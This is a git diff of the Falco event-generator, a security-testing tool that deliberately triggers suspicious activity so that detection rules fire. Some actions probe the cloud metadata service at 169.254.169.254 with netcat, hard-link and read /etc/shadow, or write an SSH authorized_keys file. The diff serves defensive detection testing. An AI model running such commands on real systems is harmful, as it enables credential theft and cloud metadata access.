diff --git a/Dockerfile b/Dockerfile index 39623cd7..7e7faf60 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,22 +1,20 @@ -FROM alpine:latest as builder +FROM golang:1.23.1-alpine3.20 AS builder LABEL maintainer="cncf-falco-dev@lists.cncf.io" -RUN apk add --no-cache make bash git build-base go +RUN apk add --no-cache make bash WORKDIR /event-generator + COPY . . RUN make -FROM alpine:latest -COPY --from=builder /event-generator/event-generator /bin/event-generator +FROM alpine:3.20 -# Need to have this for helper.RunShell -RUN apk add bash +RUN apk add --no-cache sudo polkit libcap e2fsprogs-extra openssh nmap netcat-openbsd wget curl -# Need to have this for syscall.WriteBelowRpmDatabase -RUN mkdir -p /var/lib/rpm/ +COPY --from=builder /event-generator/event-generator /bin/event-generator ENTRYPOINT ["/bin/event-generator"] diff --git a/Makefile b/Makefile index b1f86c14..7021bbc1 100644 --- a/Makefile +++ b/Makefile @@ -47,12 +47,12 @@ prepare: clean events/k8saudit/yaml/bundle.go .PHONY: ${output} ${output}: - $(GO) build -buildmode=pie -buildvcs=false -ldflags "$(LDFLAGS)" -o $@ ${main} + CGO_ENABLED=0 $(GO) build -buildmode=pie -buildvcs=false -ldflags "$(LDFLAGS)" -o $@ ${main} .PHONY: clean clean: $(RM) -R ${output} - $(RM) -f events/k8saudit/yaml/bundle.go + $(RM) events/k8saudit/yaml/bundle.go $(RM) -R ${output} ${docgen} .PHONY: test @@ -78,11 +78,9 @@ image: $(DOCKER) build \ -t "$(IMAGE_NAME_BRANCH)" \ -f Dockerfile . - $(DOCKER) tag $(IMAGE_NAME_BRANCH) $(IMAGE_NAME_COMMIT) - $(DOCKER) tag "$(IMAGE_NAME_BRANCH)" $(IMAGE_NAME_COMMIT) - + $(DOCKER) tag "$(IMAGE_NAME_BRANCH)" "$(IMAGE_NAME_COMMIT)" .PHONY: push push: - $(DOCKER) push $(IMAGE_NAME_BRANCH) - $(DOCKER) push $(IMAGE_NAME_COMMIT) + $(DOCKER) push "$(IMAGE_NAME_BRANCH)" + $(DOCKER) push "$(IMAGE_NAME_COMMIT)" diff --git a/README.md b/README.md index 69b870fa..2cedb3e0 100644 --- a/README.md +++ b/README.md @@ -87,7 +87,7 @@ INFO action executed action=syscall.ReadSensitiveF Useful options: - `--loop` to run actions in a loop -- `--sleep` to set the length of time to wait before running an action (default to `1s`) +- `--sleep` to set the length of time to wait before running an action (default to `100ms`) Also, note that not all actions are enabled by default. To run all actions, use the `--all` option. @@ -145,7 +145,7 @@ The `syscall` collection performs a variety of suspect actions detected by the [ $ docker run -it --rm falcosecurity/event-generator run syscall --loop ``` -The above command loops forever, incessantly generating a sample event each second. +The above command loops forever, incessantly generating a sample event every 100 miliseconds. ### Generate activity for the k8s audit rules diff --git a/cmd/bench.go b/cmd/bench.go index 1effbe30..49d3fb1a 100644 --- a/cmd/bench.go +++ b/cmd/bench.go @@ -38,18 +38,18 @@ func NewBench() *cobra.Command { This command generates a high number of Event Per Second (EPS), to test the events throughput allowed by Falco. The number of EPS is controlled by the "--sleep" option: reduce the sleeping duration to increase the EPS. If the "--loop" option is set, the sleeping duration is halved on each round. -The "--pid" option can be used to monitor the Falco process. +The "--pid" option can be used to monitor the Falco process. N.B.: - the Falco gRPC Output must be enabled to use this command - "outputs.rate" and "outputs.max_burst" values within the Falco configuration must be increased, otherwise EPS will be rate-limited by the throttling mechanism - - since not all actions can be used for benchmarking, + - since not all actions can be used for benchmarking, only those actions matching the given regular expression are used One commmon way to use this command is as following: - event-generator bench "ChangeThreadNamespace|ReadSensitiveFileUntrusted" --all --loop --sleep 10ms --pid $(pidof -s falco) + event-generator bench "ChangeThreadNamespace|ReadSensitiveFileUntrusted" --all --loop --sleep 10ms --pid $(pidof -s falco) ` + runWarningMessage diff --git a/cmd/config_options.go b/cmd/config_options.go index dbdf016e..5e459053 100644 --- a/cmd/config_options.go +++ b/cmd/config_options.go @@ -15,7 +15,7 @@ limitations under the License. package cmd import ( - "fmt" + "errors" "github.com/creasty/defaults" "github.com/falcosecurity/event-generator/cmd/internal/validate" @@ -42,11 +42,11 @@ func NewConfigOptions() *ConfigOptions { // Validate validates the ConfigOptions fields. func (co *ConfigOptions) Validate() []error { if err := validate.V.Struct(co); err != nil { - errors := err.(validator.ValidationErrors) + errs := err.(validator.ValidationErrors) errArr := []error{} - for _, e := range errors { + for _, e := range errs { // Translate each error one at a time - errArr = append(errArr, fmt.Errorf(e.Translate(validate.T))) + errArr = append(errArr, errors.New(e.Translate(validate.T))) } return errArr } diff --git a/cmd/internal/validate/isfilepath.go b/cmd/internal/validate/isfilepath.go index aa5edbd7..8c87af9d 100644 --- a/cmd/internal/validate/isfilepath.go +++ b/cmd/internal/validate/isfilepath.go @@ -29,10 +29,7 @@ func isFilePath(fl validator.FieldLevel) bool { case reflect.String: fileInfo, err := os.Stat(field.String()) if err != nil { - if !os.IsNotExist(err) { - return false - } - return true + return os.IsNotExist(err) } return !fileInfo.IsDir() diff --git a/cmd/internal/validate/islogruslevel.go b/cmd/internal/validate/islogruslevel.go index 03f2c44d..341946d8 100644 --- a/cmd/internal/validate/islogruslevel.go +++ b/cmd/internal/validate/islogruslevel.go @@ -22,8 +22,5 @@ import ( func isLogrusLevel(fl validator.FieldLevel) bool { level := fl.Field().String() _, err := logger.ParseLevel(level) - if err != nil { - return false - } - return true + return err == nil } diff --git a/cmd/internal/validate/validate.go b/cmd/internal/validate/validate.go index 4b6abfc0..23b5db70 100644 --- a/cmd/internal/validate/validate.go +++ b/cmd/internal/validate/validate.go @@ -44,16 +44,24 @@ func init() { return name }) - V.RegisterValidation("filepath", isFilePath) - V.RegisterValidation("logrus", isLogrusLevel) + if err := V.RegisterValidation("filepath", isFilePath); err != nil { + panic(err) + } + + if err := V.RegisterValidation("logrus", isLogrusLevel); err != nil { + panic(err) + } + V.RegisterAlias("format", "eq=text|eq=json") eng := en.New() uni := ut.New(eng, eng) T, _ = uni.GetTranslator("en") - en_translations.RegisterDefaultTranslations(V, T) + if err := en_translations.RegisterDefaultTranslations(V, T); err != nil { + panic(err) + } - V.RegisterTranslation( + if err := V.RegisterTranslation( "filepath", T, func(ut ut.Translator) error { @@ -63,9 +71,11 @@ func init() { t, _ := ut.T("filepath", fe.Field()) return t }, - ) + ); err != nil { + panic(err) + } - V.RegisterTranslation( + if err := V.RegisterTranslation( "logrus", T, func(ut ut.Translator) error { @@ -75,9 +85,11 @@ func init() { t, _ := ut.T("logrus", fe.Value().(string)) return t }, - ) + ); err != nil { + panic(err) + } - V.RegisterTranslation( + if err := V.RegisterTranslation( "format", T, func(ut ut.Translator) error { @@ -87,5 +99,7 @@ func init() { t, _ := ut.T("format", fe.Value().(string)) return t }, - ) + ); err != nil { + panic(err) + } } diff --git a/cmd/root.go b/cmd/root.go index 105a6c1e..2a5f9553 100644 --- a/cmd/root.go +++ b/cmd/root.go @@ -77,7 +77,9 @@ func New(configOptions *ConfigOptions) *cobra.Command { debugFlags(flags) }, Run: func(c *cobra.Command, args []string) { - c.Help() + if err := c.Help(); err != nil { + logger.WithError(err).Fatal("error running help") + } }, } @@ -202,14 +204,19 @@ func initConfig(configFile string) { // - config file (e.g. ~/.falco-event-generator.yaml) // - its default func initFlags(flags *pflag.FlagSet, exclude map[string]bool) { - viper.BindPFlags(flags) + if err := viper.BindPFlags(flags); err != nil { + logger.WithError(err).Fatal("error binding flags to configuration") + } + flags.VisitAll(func(f *pflag.Flag) { if exclude[f.Name] { return } viper.SetDefault(f.Name, f.DefValue) if v := viper.GetString(f.Name); v != f.DefValue { - flags.Set(f.Name, v) + if err := flags.Set(f.Name, v); err != nil { + logger.WithError(err).WithField("flag", f.Name).Fatal("error setting flag") + } } }) } diff --git a/cmd/run.go b/cmd/run.go index c98c2c72..ecb09f8e 100644 --- a/cmd/run.go +++ b/cmd/run.go @@ -73,23 +73,27 @@ Without arguments it runs all actions, otherwise only those actions matching the ns := flags.Lookup("namespace") ns.DefValue = DefaultNamespace - ns.Value.Set(DefaultNamespace) + if err := ns.Value.Set(DefaultNamespace); err != nil { + panic(err) + } return c, func(c *cobra.Command, args []string, options ...runner.Option) error { - flags := c.Flags() ns, err := flags.GetString("namespace") if err != nil { return err } + sleep, err := flags.GetDuration("sleep") if err != nil { return err } + loop, err := flags.GetBool("loop") if err != nil { return err } + all, err := flags.GetBool("all") if err != nil { return err diff --git a/cmd/test.go b/cmd/test.go index d4aabcf2..2d082653 100644 --- a/cmd/test.go +++ b/cmd/test.go @@ -15,8 +15,6 @@ limitations under the License. package cmd import ( - - // register event collections "time" "github.com/falcosecurity/event-generator/pkg/runner" diff --git a/events/README.md b/events/README.md index 7bdd9ece..c264b81f 100644 --- a/events/README.md +++ b/events/README.md @@ -63,7 +63,7 @@ For this reason, *actions* should revert any operation that changed the state of ```golang func WriteBelowEtc(h events.Helper) error { - const filename = "/etc/created-by-event-generator" + const filename = "/etc/falco-event-generator" h.Log().Infof("writing to %s", filename) defer os.Remove(filename) // clean up here!!! return os.WriteFile(filename, nil, os.FileMode(0755)) diff --git a/events/helper/combined_server_client.go b/events/helper/combined_server_client.go index 7135eb09..62b9f793 100644 --- a/events/helper/combined_server_client.go +++ b/events/helper/combined_server_client.go @@ -15,6 +15,8 @@ limitations under the License. package helper import ( + "bytes" + "errors" "net" "time" @@ -24,48 +26,61 @@ import ( var _ = events.Register(CombinedServerClient) func CombinedServerClient(h events.Helper) error { - errCh := make(chan error) - go func() { - errCh <- runServer() - }() - - time.Sleep(1 * time.Second) - return runClient() -} - -func runServer() error { - serverAddr, err := net.ResolveUDPAddr("udp", ":80") + serverAddr, err := net.ResolveUDPAddr("udp", "localhost:1234") if err != nil { return err } + // start server serverConn, err := net.ListenUDP("udp", serverAddr) if err != nil { return err } + defer func() { + if err := serverConn.Close(); err != nil { + h.Log().WithError(err).Error("failed to close server connection") + } + }() + + h.Log().Debug("server is listening on localhost:1234") - defer serverConn.Close() buf := make([]byte, 1024) - _, _, err = serverConn.ReadFromUDP(buf) - return err -} -func runClient() error { - serverAddr, err := net.ResolveUDPAddr("udp", "localhost:80") - if err != nil { - return err - } + // wait for client to send data + srvErr := make(chan error) + go func() { + defer close(srvErr) + _, _, err = serverConn.ReadFromUDP(buf) + srvErr <- err + }() + // connect to server and send data clientConn, err := net.DialUDP("udp", nil, serverAddr) if err != nil { return err } - defer clientConn.Close() + defer func() { + if err := clientConn.Close(); err != nil { + h.Log().WithError(err).Error("failed to close client connection") + } + }() data := []byte{0xCA, 0xFE, 0xBA, 0xBE} - _, err = clientConn.Write(data) - if err != nil { + if _, err = clientConn.Write(data); err != nil { return err } - return nil + + h.Log().Debugf("client sent: %X", data) + + // wait for server to respond or timeout + select { + case err := <-srvErr: + if err != nil { + return err + } + h.Log().Debugf("server received: %X", bytes.Trim(buf, "\x00")) + return nil + case <-time.After(5 * time.Second): + return errors.New("timeout") + } } diff --git a/events/helper/inbound_connection.go b/events/helper/inbound_connection.go index db6d8145..92fa9d59 100644 --- a/events/helper/inbound_connection.go +++ b/events/helper/inbound_connection.go @@ -15,6 +15,7 @@ limitations under the License. package helper import ( + "fmt" "net" "strconv" @@ -24,38 +25,57 @@ import ( var _ = events.Register(InboundConnection) func InboundConnection(h events.Helper) error { - address, _ := getAvailableLocalAddress() + address, err := getAvailableLocalAddress(h) + if err != nil { + return err + } + listener, err := net.Listen("tcp", address) if err != nil { return err } - defer listener.Close() + defer func() { + if err := listener.Close(); err != nil { + h.Log().WithError(err).Error("failed to close listener") + } + }() + return nil } -func getAvailableLocalAddress() (string, error) { +func getAvailableLocalAddress(h events.Helper) (string, error) { addrs, err := net.InterfaceAddrs() if err != nil { return "", err } + for _, addr := range addrs { ipNet, ok := addr.(*net.IPNet) if !ok { continue } + if ipNet.IP.IsLoopback() || ipNet.IP.IsUnspecified() { continue } + ip := ipNet.IP.To4() if ip == nil { continue } + listener, err := net.ListenTCP("tcp4", &net.TCPAddr{IP: ip}) if err != nil { continue } - listener.Close() - return ip.String() + ":" + strconv.Itoa(listener.Addr().(*net.TCPAddr).Port), nil + + if err := listener.Close(); err != nil { + h.Log().WithError(err).Error("failed to close listener") + continue + } + + return fmt.Sprintf("%s:%s", ip.String(), strconv.Itoa(listener.Addr().(*net.TCPAddr).Port)), nil } + return "", err } diff --git a/events/helper/network_activity.go b/events/helper/network_activity.go index d31f08f2..9bf02fa8 100644 --- a/events/helper/network_activity.go +++ b/events/helper/network_activity.go @@ -25,6 +25,11 @@ var _ = events.Register(NetworkActivity) // NetworkActivity tries to connect to an andress. func NetworkActivity(h events.Helper) error { conn, err := net.Dial("udp", "10.2.3.4:8192") - defer conn.Close() + defer func() { + if err := conn.Close(); err != nil { + h.Log().WithError(err).Error("failed to close connection") + } + }() + return err } diff --git a/events/helper/outbound_connection.go b/events/helper/outbound_connection.go index c2dda8eb..3b186a00 100644 --- a/events/helper/outbound_connection.go +++ b/events/helper/outbound_connection.go @@ -15,8 +15,9 @@ limitations under the License. package helper import ( - "github.com/falcosecurity/event-generator/events" "net" + + "github.com/falcosecurity/event-generator/events" ) var _ = events.Register(OutboundConnection) @@ -26,6 +27,11 @@ func OutboundConnection(h events.Helper) error { if err != nil { return err } - defer conn.Close() + defer func() { + if err := conn.Close(); err != nil { + h.Log().WithError(err).Error("failed to close connection") + } + }() + return nil } diff --git a/events/helper/run_shell.go b/events/helper/run_shell.go index e7d238c1..d651f54a 100644 --- a/events/helper/run_shell.go +++ b/events/helper/run_shell.go @@ -24,5 +24,5 @@ var _ = events.Register(RunShell) // RunShell executes a dummy command in a shell. func RunShell(h events.Helper) error { - return exec.Command("bash", "-c", "ls > /dev/null").Run() + return exec.Command("sh", "-c", "ls > /dev/null").Run() } diff --git a/events/k8saudit/yaml_loader.go b/events/k8saudit/yaml_loader.go index f4888f05..a6d09906 100644 --- a/events/k8saudit/yaml_loader.go +++ b/events/k8saudit/yaml_loader.go @@ -16,7 +16,7 @@ package k8saudit import ( "bytes" - "fmt" + "errors" "path/filepath" "strings" @@ -80,7 +80,10 @@ func init() { if err != nil { return err } - info.Refresh(obj, true) + + if err := info.Refresh(obj, true); err != nil { + log.WithError(err).Error("refresh k8s resource") + } count++ return nil @@ -89,7 +92,7 @@ func init() { return err } if count == 0 { - return fmt.Errorf("no objects passed to create") + return errors.New("no objects passed to create") } return nil }, diff --git a/events/registry.go b/events/registry.go index 9b65fe4d..f2178e9a 100644 --- a/events/registry.go +++ b/events/registry.go @@ -92,5 +92,5 @@ func MatchRule(name string, rule string) bool { return false } - return strings.ToLower(parts[l-1]) == strings.ToLower(nonAlphaNumericReg.ReplaceAllString(rule, "")) + return strings.EqualFold(parts[l-1], nonAlphaNumericReg.ReplaceAllString(rule, "")) } diff --git a/events/syscall/adding_ssh_keys_to_authorized_keys.go b/events/syscall/adding_ssh_keys_to_authorized_keys.go index fb73631b..b53c8f42 100644 --- a/events/syscall/adding_ssh_keys_to_authorized_keys.go +++ b/events/syscall/adding_ssh_keys_to_authorized_keys.go @@ -1,3 +1,6 @@ +//go:build linux +// +build linux + // SPDX-License-Identifier: Apache-2.0 /* Copyright (C) 2024 The Falco Authors. @@ -27,16 +30,15 @@ var _ = events.Register( ) func AddingSshKeysToAuthorizedKeys(h events.Helper) error { - // Creates .ssh directory inside tempDirectory - sshDir, cleanup, err := createSshDirectoryUnderHome() + // create .ssh directory inside tempDirectory + sshDir, cleanup, err := createSshDirectoryUnderHome(h) if err != nil { return err } - defer cleanup() // Cleanup after function return + defer cleanup() filename := filepath.Join(sshDir, "authorized_keys") - h.Log().Infof("writing to %s", filename) - // Create authorized_keys file, and write into it - return os.WriteFile(filename, []byte("ssh-rsa \n"), os.FileMode(0755)) + // create authorized_keys file, and write into it + return os.WriteFile(filename, []byte("ssh-rsa \n"), os.FileMode(0600)) } diff --git a/events/syscall/change_namespace_privileges_via_unshare.go b/events/syscall/change_namespace_privileges_via_unshare.go index 7ff26608..a8d1e827 100644 --- a/events/syscall/change_namespace_privileges_via_unshare.go +++ b/events/syscall/change_namespace_privileges_via_unshare.go @@ -18,7 +18,9 @@ limitations under the License. package syscall import ( + "fmt" "os/exec" + "strings" "github.com/falcosecurity/event-generator/events" ) @@ -29,16 +31,46 @@ var _ = events.Register( ) func ChangeNamespacePrivilegesViaUnshare(h events.Helper) error { - if h.InContainer() { - cmd := exec.Command("unshare") + if !h.InContainer() { + return &events.ErrSkipped{ + Reason: "only applicable to containers", + } + } + + // read the CapEff value from /proc/self/status + capEffValueBytes, err := exec.Command("sh", "-c", "cat /proc/self/status | grep CapEff | awk '{print $2}'").Output() + if err != nil { + return err + } + + // convert the CapEff value to a string and trim whitespace + capEffValue := strings.TrimSpace(string(capEffValueBytes)) - h.Log().Infof("Change namespace privileges via unshare") + // check whether CAP_SYS_ADMIN capability exists in the decoded CapEff value + hasCAPSysAdmin, err := checkCapability(capEffValue, "cap_sys_admin") + if err != nil { + return err + } - if err := cmd.Run(); err != nil { - return err + if hasCAPSysAdmin { + return &events.ErrSkipped{ + Reason: "non-privileged container required", } } - return &events.ErrSkipped{ - Reason: "'Change Namespace Privileges Via Unshare' is applicable only to containers.", + + unshare, err := exec.LookPath("unshare") + if err != nil { + // if we don't have an unshare, just bail + return &events.ErrSkipped{ + Reason: "unshare executable file not found in $PATH", + } } + + // note: to trigger the rule, do not pass any arguments to unshare + cmd := exec.Command(unshare) + if out, err := cmd.CombinedOutput(); err != nil { + return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out))) + } + + return nil } diff --git a/events/syscall/change_thread_namespace.go b/events/syscall/change_thread_namespace.go index d66f91d5..920ab969 100644 --- a/events/syscall/change_thread_namespace.go +++ b/events/syscall/change_thread_namespace.go @@ -18,6 +18,9 @@ limitations under the License. package syscall import ( + "os/exec" + "strings" + "golang.org/x/sys/unix" "github.com/falcosecurity/event-generator/events" @@ -29,10 +32,25 @@ var _ = events.Register( ) func ChangeThreadNamespace(h events.Helper) error { - // It doesn't matter that the arguments to Setns are - // bogus. It's the attempt to call it that will trigger the - // rule. - h.Log().Debug("does not result in a falco notification in containers, unless container run with --privileged or --security-opt seccomp=unconfined") - unix.Setns(0, 0) + if h.InContainer() { + // skip if container does not have CAP_SYS_ADMIN capability, fallthrough in case of error + // read the CapEff value from /proc/self/status + if capEffValueBytes, err := exec.Command("sh", "-c", "cat /proc/self/status | grep CapEff | awk '{print $2}'").Output(); err == nil { + // convert the CapEff value to a string and trim whitespace + capEffValue := strings.TrimSpace(string(capEffValueBytes)) + // check whether CAP_SYS_ADMIN capability exists in the decoded CapEff value + if hasCAPSysAdmin, err := checkCapability(capEffValue, "cap_sys_admin"); err == nil && !hasCAPSysAdmin { + return &events.ErrSkipped{ + Reason: "privileged container required", + } + } + } + } + // it doesn't matter that the arguments to Setns are bogus + // it's the attempt to call it that will trigger the rule + if err := unix.Setns(0, 0); err != nil { + h.Log().WithError(err).Debug("failed to call setns (this is expected)") + } + return nil } diff --git a/events/syscall/clear_log_activities.go b/events/syscall/clear_log_activities.go index b15b6e58..caa3cb8c 100644 --- a/events/syscall/clear_log_activities.go +++ b/events/syscall/clear_log_activities.go @@ -24,22 +24,29 @@ import ( var _ = events.Register(ClearLogActivities) func ClearLogActivities(h events.Helper) error { - // Create a unique temp directory - tempDirectoryName, err := os.MkdirTemp("/", "falco-event-generator-") + // create a unique temp directory + tmpDir, err := os.MkdirTemp("", "falco-event-generator-syscall-ClearLogActivities-") if err != nil { return err } - defer os.RemoveAll(tempDirectoryName) + defer func() { + if err := os.RemoveAll(tmpDir); err != nil { + h.Log().WithError(err).Error("failed to remove temp directory") + } + }() - filename := filepath.Join(tempDirectoryName, "syslog") + filename := filepath.Join(tmpDir, "syslog") - // Open or create the file with write-only access and truncate its contents if it exists - file, err := os.OpenFile(filename, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0644) + // open or create the file with write-only access and truncate its contents if it exists + file, err := os.OpenFile(filename, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, os.FileMode(0644)) if err != nil { - h.Log().WithError(err).Error("Error opening file") return err } - defer file.Close() + defer func() { + if err := file.Close(); err != nil { + h.Log().WithError(err).Error("failed to close temp file") + } + }() return nil } diff --git a/events/syscall/contact_cloud_metadata_service_from_container.go b/events/syscall/contact_cloud_metadata_service_from_container.go deleted file mode 100644 index 511b2b87..00000000 --- a/events/syscall/contact_cloud_metadata_service_from_container.go +++ /dev/null @@ -1,49 +0,0 @@ -//go:build linux -// +build linux - -// SPDX-License-Identifier: Apache-2.0 -/* -Copyright (C) 2024 The Falco Authors. -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. -*/ - -package syscall - -import ( - "os/exec" - - "github.com/falcosecurity/event-generator/events" -) - -var _ = events.Register( - ContactCloudMetadataServiceFromContainer, - events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action -) - -func ContactCloudMetadataServiceFromContainer(h events.Helper) error { - if h.InContainer() { - // The IP address 169.254.169.254 is reserved for the Cloud Instance Metadata Service, - // a common endpoint used by cloud instances (GCP, AWS and Azure) to access - // metadata about the instance itself. Detecting attempts to communicate with this - // IP address from a container can indicate potential unauthorized access to - // sensitive cloud infrastructure metadata. - cmd := exec.Command("timeout", "1s", "nc", "169.254.169.254", "80") - - if err := cmd.Run(); err != nil { - return err - } - - h.Log().Infof("Outbound connection to cloud instance metadata service") - } - return &events.ErrSkipped{ - Reason: "'Contact Cloud Metadata Service From Container' is applicable only to containers.", - } -} diff --git a/events/syscall/contact_ec2_instance_metadata_from_container.go b/events/syscall/contact_ec2_instance_metadata_from_container.go index 94489fca..b7dab7ac 100644 --- a/events/syscall/contact_ec2_instance_metadata_from_container.go +++ b/events/syscall/contact_ec2_instance_metadata_from_container.go @@ -17,8 +17,9 @@ limitations under the License. package syscall import ( - "github.com/falcosecurity/event-generator/events" "os/exec" + + "github.com/falcosecurity/event-generator/events" ) var _ = events.Register( @@ -27,27 +28,29 @@ var _ = events.Register( ) func ContactEC2InstanceMetadataServiceFromContainer(h events.Helper) error { - if h.InContainer() { - path, err := exec.LookPath("nc") - if err != nil { - // If we don't have an netcat, just bail - return &events.ErrSkipped{ - Reason: "netcat utility not found in path", - } + if !h.InContainer() { + return &events.ErrSkipped{ + Reason: "only applicable to containers", } - // The IP address 169.254.169.254 is reserved for the Cloud Instance Metadata Service, - // a common endpoint used by cloud instances (GCP, AWS and Azure) to access - // metadata about the instance itself. Detecting attempts to communicate with this - // IP address from a container can indicate potential unauthorized access to - // sensitive cloud infrastructure metadata. - - cmd := exec.Command("timeout", "1s", path, "169.254.169.254", "80") + } - if err := cmd.Run(); err != nil { - return err + nc, err := exec.LookPath("nc") + if err != nil { + // if we don't have a netcat, just bail + return &events.ErrSkipped{ + Reason: "netcat executable file not found in $PATH", } } - return &events.ErrSkipped{ - Reason: "'Contact EC2 Instance Metadata Service From Container' is applicable only to containers.", + + // The IP address 169.254.169.254 is reserved for the Cloud Instance Metadata Service, + // a common endpoint used by cloud instances (GCP, AWS and Azure) to access + // metadata about the instance itself. Detecting attempts to communicate with this + // IP address from a container can indicate potential unauthorized access to + // sensitive cloud infrastructure metadata. + // note: executing the following command might fail, but enough to trigger the rule, so we ignore any error + if err := exec.Command("timeout", "1s", nc, "169.254.169.254", "80").Run(); err != nil { + h.Log().WithError(err).Debug("failed to run netcat command (might be ok)") } + + return nil } diff --git a/events/syscall/container_drift_detected_chmod.go b/events/syscall/container_drift_detected_chmod.go index 92bc54cd..4a738294 100644 --- a/events/syscall/container_drift_detected_chmod.go +++ b/events/syscall/container_drift_detected_chmod.go @@ -21,26 +21,32 @@ import ( ) var _ = events.Register( - ContainerDriftDetcted, + ContainerDriftDetectedChmod, events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action ) -func ContainerDriftDetcted(h events.Helper) error { - if h.InContainer() { - filename := "/created-by-event-generator" - if err := os.WriteFile(filename, nil, 0755); err != nil { - h.Log().WithError(err).Error("Error creating an empty file") - return err +func ContainerDriftDetectedChmod(h events.Helper) error { + if !h.InContainer() { + return &events.ErrSkipped{ + Reason: "only applicable to containers", } - defer os.Remove(filename) // Remove file after function return + } - // Set execute permission on script file to make it executable - if err := os.Chmod(filename, 0755); err != nil { - h.Log().WithError(err).Error("Error setting execute permission on script file") - return err - } + // create a unique file under temp directory + file, err := os.CreateTemp("", "falco-event-generator-syscall-ContainerDriftDetectedChmod-") + if err != nil { + return err } - return &events.ErrSkipped{ - Reason: "'Container Drift Detected (chmod)' is applicable only to containers.", + defer func() { + if err := os.Remove(file.Name()); err != nil { + h.Log().WithError(err).Error("failed to remove temp file") + } + }() + + // set execute permission + if err := os.Chmod(file.Name(), os.FileMode(0755)); err != nil { + return err } + + return nil } diff --git a/events/syscall/container_drift_detected_open_create.go b/events/syscall/container_drift_detected_open_create.go index 17b7d343..73102d28 100644 --- a/events/syscall/container_drift_detected_open_create.go +++ b/events/syscall/container_drift_detected_open_create.go @@ -15,7 +15,9 @@ limitations under the License. package syscall import ( + "fmt" "os" + "path/filepath" "github.com/falcosecurity/event-generator/events" ) @@ -26,18 +28,24 @@ var _ = events.Register( ) func ContainerDriftDetectedOpenCreate(h events.Helper) error { - if h.InContainer() { - // Create a unique file under tmp dir - file, err := os.CreateTemp(os.TempDir(), "created-by-falco-event-generator-") - if err != nil { - h.Log().WithError(err).Error("Error Creating an empty file") - return err + if !h.InContainer() { + return &events.ErrSkipped{ + Reason: "only applicable to containers", } - defer os.Remove(file.Name()) // Remove the file after function return - h.Log().Infof("writing to %s", file.Name()) - return os.WriteFile(file.Name(), nil, os.FileMode(0755)) // Also set execute permission } - return &events.ErrSkipped{ - Reason: "'Container Drift Detected (open+create)' is applicable only to containers.", + + // generate new "random" temp file name + file := filepath.Join(os.TempDir(), fmt.Sprintf("falco-event-generator-syscall-ContainerDriftDetectedOpenCreate-%s", randomString(6))) + + // create file and set execute permission + if err := os.WriteFile(file, nil, os.FileMode(0755)); err != nil { + return err } + defer func() { + if err := os.Remove(file); err != nil { + h.Log().WithError(err).Error("failed to remove temp file") + } + }() + + return nil } diff --git a/events/syscall/create_files_below_dev.go b/events/syscall/create_files_below_dev.go index 9cdba760..3f3b48cc 100644 --- a/events/syscall/create_files_below_dev.go +++ b/events/syscall/create_files_below_dev.go @@ -15,6 +15,7 @@ limitations under the License. package syscall import ( + "errors" "os" "github.com/falcosecurity/event-generator/events" @@ -26,8 +27,33 @@ var _ = events.Register( ) func CreateFilesBelowDev(h events.Helper) error { - const filename = "/dev/created-by-event-generator" - h.Log().Infof("writing to %s", filename) - defer os.Remove(filename) - return os.WriteFile(filename, nil, os.FileMode(0755)) + // ensure /dev exists + if _, err := os.Stat("/dev"); os.IsNotExist(err) { + if err := os.Mkdir("/dev", os.FileMode(0755)); err != nil { + return err + } + // remove /dev directory + defer func() { + if err := os.RemoveAll("/dev"); err != nil { + h.Log().WithError(err).Error("failed to remove /dev directory") + } + }() + } + + // create a unique file under /dev directory + file, err := os.CreateTemp("/dev", "falco-event-generator-syscall-CreateFilesBelowDev-") + if err != nil { + // to trigger the rule, it is enough to try, so we ignore permission denied errors + if errors.Is(err, os.ErrPermission) { + return nil + } + return err + } + defer func() { + if err := os.Remove(file.Name()); err != nil { + h.Log().WithError(err).Error("failed to remove temp file") + } + }() + + return nil } diff --git a/events/syscall/create_hardlink_over_sensitive_files.go b/events/syscall/create_hardlink_over_sensitive_files.go index 061f87ab..c11e0931 100644 --- a/events/syscall/create_hardlink_over_sensitive_files.go +++ b/events/syscall/create_hardlink_over_sensitive_files.go @@ -15,8 +15,11 @@ limitations under the License. package syscall import ( + "fmt" "os" "os/exec" + "path/filepath" + "strings" "github.com/falcosecurity/event-generator/events" ) @@ -24,20 +27,38 @@ import ( var _ = events.Register(CreateHardlinkOverSensitiveFiles) func CreateHardlinkOverSensitiveFiles(h events.Helper) error { - path, err := exec.LookPath("ln") + ln, err := exec.LookPath("ln") if err != nil { // if we don't have a ln, just bail return &events.ErrSkipped{ - Reason: "ln utility not found in path", + Reason: "ln executable file not found in $PATH", } } - tmpDir, err := os.MkdirTemp(os.TempDir(), "event-generator-syscall-CreateHardlinkOverSensitiveFiles") + // create a unique temp directory + tmpDir, err := os.MkdirTemp("", "falco-event-generator-syscall-CreateHardlinkOverSensitiveFiles-") if err != nil { return err } - defer os.ReadDir(tmpDir) + defer func() { + if err := os.RemoveAll(tmpDir); err != nil { + h.Log().WithError(err).Error("failed to remove temp directory") + } + }() + + shadowLink := filepath.Join(tmpDir, "shadow_link") + + // create a hard link to /etc/shadow file + // note: directory hard links are not allowed + cmd := exec.Command(ln, "-v", "/etc/shadow", shadowLink) + if out, err := cmd.CombinedOutput(); err != nil { + return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out))) + } + + // read hard-linked /etc/shadow file + if _, err := os.ReadFile(shadowLink); err != nil { + return err + } - cmd := exec.Command(path, "-v", "/etc", tmpDir+"/etc_link") - return cmd.Run() + return nil } diff --git a/events/syscall/create_hidden_file_or_directory.go b/events/syscall/create_hidden_file_or_directory.go index a4f51ba2..5483473e 100644 --- a/events/syscall/create_hidden_file_or_directory.go +++ b/events/syscall/create_hidden_file_or_directory.go @@ -21,14 +21,21 @@ import ( ) var _ = events.Register( - CreateHiddenFileOrDirectory, + CreateHiddenFilesOrDirectories, events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action ) -func CreateHiddenFileOrDirectory(h events.Helper) error { 